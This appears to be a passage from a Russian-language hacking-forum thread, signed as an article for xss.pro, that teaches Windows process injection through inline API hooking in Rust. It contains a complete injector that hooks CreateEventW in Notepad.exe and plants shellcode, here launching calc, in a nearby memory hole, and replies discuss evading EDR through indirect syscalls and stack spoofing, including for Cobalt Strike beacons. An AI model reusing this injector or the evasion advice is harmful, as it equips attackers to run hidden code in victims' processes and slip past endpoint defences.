            PAGE_READONLY.0,
            SEC_IMAGE.0,
            Some(h_file),
        );

        if status.is_err() {
            return Err(format!("[!] NtCreateSection Failed With Status: {:?}", status));
        }

        let mut mapped_module = null_mut();
        let mut view_size = 0;
        let status = NtMapViewOfSection(
            section.0 as _,
            0xffffffffffffffffu64 as _,
            &mut mapped_module,
            0,
            0,
            null_mut(),
            &mut view_size,
            ViewShare,
            0,
            PAGE_EXECUTE_READWRITE.0,
        );

        if status != 0 {
            return Err(format!("[!] NtMapViewOfSection Failed With Status: {}", status));
        }

        let dos_header = mapped_module as *mut IMAGE_DOS_HEADER;
        let nt_header = (mapped_module as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
        if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
            return Err(String::from("IMAGE SIGNATURE INVALID"));
        }

        let entry_point = (mapped_module as usize + (*nt_header).OptionalHeader.AddressOfEntryPoint as usize) as *mut c_void;
        Ok((mapped_module as *mut c_void, entry_point))
    }
}
unsafe fn execute_shell(entrypoint: *const c_void) {
    // Call the entry point
    let func: extern "C" fn() -> u32 = std::mem::transmute(entrypoint);
    func();
}
Screenshot_20250209_131814.png


API Function Hooking​

API-хукинг (перехват API) - это техника, используемая для перехвата и изменения поведения функций API. Она часто применяется для отладки, реверс-инжиниринга и читерства в играх. API-хукинг включает в себя замену оригинальной реализации функции API на пользовательскую версию, которая выполняет дополнительные действия до или после вызова оригинальной функции. Это позволяет изменять поведение программы без модификации её исходного кода. API-хукинг осуществляется двумя основными способами:
Трамплины (Trampolines): Это шеллкод, который используется для изменения пути выполнения кода путём перехода на другой конкретный адрес в адресном пространстве процесса. Шеллкод трамплина вставляется в начало функции, в результате чего функция становится перехваченной. Когда вызывается перехваченная функция, вместо неё срабатывает шеллкод трамплина, и поток выполнения передаётся и изменяется на другой адрес, что приводит к выполнению другой функции.

temporline_hook.jpg






Инлайн-хукинг (Inline Hooking): Это альтернативный подход к выполнению API-хукинга, который работает аналогично хукингу на основе трамплинов. Разница заключается в том, что инлайн-хуки возвращают выполнение к легитимной функции, позволяя продолжить нормальное выполнение. Хотя реализация более сложная и потенциально сложнее в поддержке, инлайн-хуки более эффективны.
inline.jpg





Еще одно небольшое замечание: хуки часто используются решениями безопасности для перехвата, проверки и мониторинга вызовов функций с целью обнаружения вредоносного ПО.
В нашем примере мы будем использовать Inline Hooking для целевого процесса Notepad.exe и перехватим функцию CreateEventW в kernelbase.dll.
Эта техника использует промежутки между DLL в памяти. Мы хотим разместить хук и шеллкод чуть выше или ниже базового адреса целевой DLL, причина в том, что мы в итоге помещаем инструкцию CALL внутрь определенной экспортируемой функции (в нашем случае CreateEventW).
В конечном итоге мы ждем, пока легитимная активность процесса вызовет эту API-функцию, что запустит наш шеллкод.
Давайте сначала разберем PATCH_SHELLCODE
Код:
static mut PATCH_SHELLCODE: [u8; 55] = [
    0x58, 0x48, 0x83, 0xE8, 0x05, 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53,
    0x48, 0xB9, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0x48, 0x89, 0x08, 0x48, 0x83, 0xEC,
    0x40, 0xE8, 0x11, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59,
    0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF, 0xE0,
];
  • Для этой техники мы хотим использовать инструкцию CALL вместо инструкции JUMP, чтобы получить адрес возврата (адрес возврата извлекается из стека и из него вычитается 5 байт, что дает нам исходный адрес экспортируемой функции, которая была перехвачена).
  • Сохранение исходных регистров: Сохраняем волатильные регистры (такие как RCX, RDX, R8, R9), чтобы избежать сбоя целевого процесса.
  • Восстановление: Мы восстанавливаем исходные байты экспортируемой перехваченной функции, чтобы хук больше не присутствовал.
  • Выполняется относительный вызов функции к внедренному шеллкоду (сразу после кода хука).
  • После выполнения шеллкода мы восстанавливаем все волатильные регистры.
  • В завершение мы восстанавливаем исходный экспортируемый адрес и выполняем JMP, сохраняя предполагаемое поведение внедренной программы.
Код:
pop rax                   ; 58
sub rax, 5                ; 48 83 E8 05
push rax                  ; 50
push rcx                  ; 51
push rdx                  ; 52
push r8                   ; 41 50
push r9                   ; 41 51
push r10                  ; 41 52
push r11                  ; 41 53
mov rcx, [DYNAMIC_VALUE]  ; 48 B9 BB BB BB BB BB BB BB BB
mov [rax], rcx            ; 48 89 08
sub rsp, 0x40             ; 48 83 EC 40
call 0x11                 ; E8 11 00 00 00
add rsp, 0x40             ; 48 83 C4 40
pop r11                   ; 41 5B
pop r10                   ; 41 5A
pop r9                    ; 41 59
pop r8                    ; 41 58
pop rdx                   ; 5A
pop rcx                   ; 59
pop rax                   ; 58
jmp rax                   ; FF E0
Shellcode

Screenshot 2025-02-09 174808.png

Какую экспортируемую функцию DLL следует выбрать? Вам следует ориентироваться на основные DLL, такие как ntdll, kernelbase и kernel32, так как они имеют одинаковый базовый адрес во всех процессах при одной загрузке Windows.
Избегайте часто используемых API, таких как выделение памяти в куче, закрытие handles или API синхронизации, чтобы предотвратить состояние гонки. В нашем случае мы продемонстрируем внедрение shellcode в Notepad.exe и выберем цель — функцию CreateEventW в kernelbase.dll.
C++:
#![allow(static_mut_refs)]
use std::ffi::c_void;
use sysinfo::System;
use windows::{
    core::s,
    Win32::{
        Foundation::HANDLE,
        System::{
            Diagnostics::Debug::WriteProcessMemory,
            LibraryLoader::{GetProcAddress, LoadLibraryA},
            Memory::{
                VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
                PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
            },
            Threading::{OpenProcess, PROCESS_ALL_ACCESS},
        },
    },
};

static mut PATCH_SHELLCODE: [u8; 55] = [
    0x58, 0x48, 0x83, 0xE8, 0x05, 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53,
    0x48, 0xB9, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0x48, 0x89, 0x08, 0x48, 0x83, 0xEC,
    0x40, 0xE8, 0x11, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59,
    0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF, 0xE0,
];

const SHELLCODE: [u8; 106] = [
    0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A, 0x60, 0x5A, 0x68, 0x63,
    0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18,
    0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
    0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,
    0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF,
    0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
    0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3,
];

fn main() -> Result<(), Box<dyn std::error::Error>> {
    if std::env::args().len() < 2 {
        println!("Usage: {} <process_name>", std::env::args().nth(0).unwrap());
        std::process::exit(1);
    }
    let args = std::env::args().collect::<Vec<String>>();
    let process_name = &args[1];
    let pid = find_process(process_name)?;

    unsafe {
        let h_module = LoadLibraryA(s!("kernelbase.dll"))?;
        let address = GetProcAddress(h_module, s!("CreateEventW"));
        let func_address = std::mem::transmute(address);
        let h_process = OpenProcess(PROCESS_ALL_ACCESS, false, pid)?;
        
        println!("[+] Function: CreateEventW | Address: {:?}", func_address);
    
        println!("[+] Patching the trampoline");
        let original_bytes = *(func_address as *const u64);
        PATCH_SHELLCODE[18..26].copy_from_slice(&original_bytes.to_ne_bytes());
    
        println!("[+] Looking for a memory hole");
        let address_role = find_memory_role(func_address as usize, h_process)?;
        
        println!("[+] Writing the shellcode at {:?}", address_role);
        write_shellcode(h_process, address_role);
    
        println!("[+] Installing the trampoline");
        install_trampoline(h_process, address_role, func_address);
    
        println!("[+] Finish :)");
    }

    Ok(())
}

fn find_memory_role(func_address: usize, h_process: HANDLE) -> Result<*mut c_void, &'static str> {
    let mut address = (func_address & 0xFFFFFFFFFFF70000) - 0x70000000;
    while address < func_address + 0x70000000 {
        let tmp_address = unsafe {
            VirtualAllocEx(
                h_process,
                Some(address as *mut c_void),
                SHELLCODE.len() + PATCH_SHELLCODE.len(),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_READWRITE,
            )
        };

        if !tmp_address.is_null() {
            println!("[+] Allocated at: {:?}", tmp_address);
            return Ok(tmp_address);
        }

        address += 0x10000;
    }

    Err("Memory Role Not Found")
}

fn install_trampoline(h_process: HANDLE, address: *mut c_void, function_address: *mut c_void) {
    let mut trampoline = [0xE8, 0x00, 0x00, 0x00, 0x00];
    let rva = (address as usize).wrapping_sub(function_address as usize + trampoline.len());
    let mut old_protect = PAGE_PROTECTION_FLAGS(0);
    let mut number_bytes_written = 0;

    let rva_bytes = rva.to_ne_bytes();
    trampoline[1..].copy_from_slice(&rva_bytes[..4]);

    unsafe {
        VirtualProtectEx(
            h_process,
            function_address,
            trampoline.len(),
            PAGE_READWRITE,
            &mut old_protect,
        ).expect("[!] VirtualProtectEx Failed With Status");

        WriteProcessMemory(
            h_process,
            function_address,
            trampoline.as_ptr().cast(),
            trampoline.len(),
            Some(&mut number_bytes_written),
        ).expect("[!] WriteProcessMemory Failed With Status");

        VirtualProtectEx(
            h_process,
            function_address,
            trampoline.len(),
            PAGE_EXECUTE_READWRITE,
            &mut old_protect,
        ).expect("[!] VirtualProtectEx (2) Failed With Status");
    };
}

fn write_shellcode(h_process: HANDLE, address: *mut c_void) {
    unsafe {
        let mut number_of_write = 0;
        WriteProcessMemory(
            h_process,
            address,
            PATCH_SHELLCODE.as_ptr().cast(),
            PATCH_SHELLCODE.len(),
            Some(&mut number_of_write)
        ).expect("[!] WriteProcessMemory Failed With Status");
        
        let shellcode_address = address as usize + PATCH_SHELLCODE.len();
        WriteProcessMemory(
            h_process,
            shellcode_address as *mut c_void,
            SHELLCODE.as_ptr().cast(),
            SHELLCODE.len(),
            Some(&mut number_of_write)
        ).expect("[!] WriteProcessMemory (2) Failed With Status");

        let mut old_protect = PAGE_PROTECTION_FLAGS(0);
        VirtualProtectEx(
            h_process,
            address,
            SHELLCODE.len(),
            PAGE_EXECUTE_READWRITE,
            &mut old_protect
        ).expect("[!] VirtualProtectEx (3) Failed With Status");
    }   
}

fn find_process(process_name: &str) -> Result<u32, &'static str> {
    let mut system = System::new_all();
    system.refresh_all();

    for (pid, process) in system.processes() {
        if process.name() == process_name {
            return Ok(pid.as_u32());
        }
    }

    Err("Process not found")
}

Теперь попробуйте что-нибудь написать и сохранить с помощью Блокнота — вы вызовете функцию, и увидите, как появится calc.exe.
Надеюсь, вам понравится моя статья. Если у вас есть какие-либо вопросы, отзывы или предложения, или если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью ❤️ для xss.pro пользователем voldemort.
 
Скорее это уже не методы уклонения, а методы как бесплатно отдаться аверу. ppid spoofing это однозначное IOC, EDR смотрит в PsSetCreateProcessNotifyRoutine коллбэк, записывает ppidы всех процессов и следит за тем чтобы они не менялись, это помимо EDR которые Remote WPM отловят через ETW_Ti, проверят стек вызовов и "поинтересуются" зачем в чужой PEB пишешь.
 
Весь список прямиком на помойку.

Использовать сисколы из своего кода - прямой билет на кукан EDR. Валидный сискол всегда идет из ntdll или win32u + стек без подозрительных участков памяти.
 
Весь список прямиком на помойку.

Использовать сисколы из своего кода - прямой билет на кукан EDR. Валидный сискол всегда идет из ntdll или win32u + стек без подозрительных участков памяти.
аха... и как раз напоришься на хукнутые функции из ntdll и ряд других. Начиная от дэфендера и кончая каким-нибудь CrowdStrike Falcon.
Если твои вызыва вылидные и носят легитимный харакрет, то тогда да. А если твои вызыва идут из Cobalt Strike beacon или малваря, то тут ты и приехал.

Именно для этих целей и разрабатываются различные методики обхода EDR. Включая direct и indirect syscalls.
Одна из известных реализаций это SysWhispers:
 
аха... и как раз напоришься на хукнутые функции из ntdll и ряд других. Начиная от дэфендера и кончая каким-нибудь CrowdStrike Falcon.
Если твои вызыва вылидные и носят легитимный харакрет, то тогда да. А если твои вызыва идут из Cobalt Strike beacon или малваря, то тут ты и приехал.

Именно для этих целей и разрабатываются различные методики обхода EDR. Включая direct и indirect syscalls.
Одна из известных реализаций это SysWhispers:
Он об этом и написал. Нужно indirect и спуф стека. Использовать сисколы из своего кода(direct), который ты отправил, прямой путь к EDR. Адрес возврата в um должен быть строго в ntdll и win32u.
 
если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью ❤️
С любовью к деньгам, или как? Потому как это не статья, а поток сознания перемешанный с копипастой, код на Расте выдаётся за С++ и т.д.
 
И в дефендере нет um хуков, только в cs.
Дружище, дефендер бывает разный. Просто не у вех есть денюжка на тот самый, "другой" дефендер.
Defender ATP
 
Дружище, дефендер бывает разный. Просто не у вех есть денюжка на тот самый, "другой" дефендер.
Defender ATP
Я его и имел ввиду. В defender ATP нет um хуков.

Um хуки это прошлый век, они не помогают против нормальной малвари, но могут сломать легитимный процесc.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх